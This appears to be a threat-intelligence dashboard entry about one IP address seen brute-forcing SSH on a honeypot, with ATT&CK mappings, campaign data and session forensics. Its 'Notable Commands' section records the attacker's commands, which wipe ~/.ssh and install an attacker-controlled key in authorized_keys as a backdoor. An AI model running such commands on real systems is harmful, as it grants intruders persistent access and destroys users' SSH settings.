← Back to feed

191.81.142.246

Threat Confidence

56%

Location

🇦🇷 AR / La Plata

ASN

AS22927 · Telefonica de Argentina

Cloud Provider

—

Total Events

Average by volume

Agent Count

First / Last Seen

2026-04-19 20:00 — 2026-04-19 20:35

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595 T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Discovery

T1016 T1046 T1082

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-04-19 23:12

blocklist_de:reported

Campaigns

HASSH 03a80b21afa8… — SSH-2.0-libssh_0.11.1 (680 IPs, 74 countries) HASSH Active high 🇨🇳 CN

680 IPs 246102 events

ssh:bruteforce

2026-02-27 — ongoing · 680 IPs are running an identical SSH client (HASSH fingerprint 03a80b21afa8…). Top network: China Telecom Group (AS4811). Geographic …

Session Forensics

scanner ×8 reconnaissance ×1 malware_dropper ×1 credential_probe ×1 opportunistic_bruter ×1

Sessions

12 (3 with login)

Avg Depth Score

0.29

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

03a80b21afa810682a776a7d42e5e6fb

SSH Client

SSH-2.0-libssh_0.11.1

Evidence Timeline

Reconnaissance b69eb9f9c63f w4m_seattle_01 · 2026-04-19 20:34

2 1 60%

Loading events...

Opportunistic Bruter cf4759831d7a w4m_seattle_01 · 2026-04-19 20:35

1 50%

Loading events...

Scanner 2ae26ef44bc5 w4m_seattle_01 · 2026-04-19 20:35

15%

Loading events...

Scanner c9236a550c9d w4m_seattle_01 · 2026-04-19 20:30

15%

Loading events...

Scanner c546cb728679 w4m_seattle_01 · 2026-04-19 20:26

15%

Loading events...

Malware Dropper 5d4fe6a59e97 w4m_seattle_01 · 2026-04-19 20:26

3 1 1 100%

Loading events...

Scanner 357a0c0590a0 w4m_seattle_01 · 2026-04-19 20:22

15%

Loading events...

Scanner f941a2511f33 w4m_seattle_01 · 2026-04-19 20:18

15%

Loading events...

Scanner 3b4f91578f40 w4m_seattle_01 · 2026-04-19 20:14

15%

Loading events...

Scanner 095c768af707 w4m_seattle_01 · 2026-04-19 20:10

15%

Loading events...

Scanner 417a665533e8 w4m_seattle_01 · 2026-04-19 20:05

15%

Loading events...

Credential Probe ee26a54fed3f w4m_seattle_01 · 2026-04-19 20:00

1 20%

Loading events...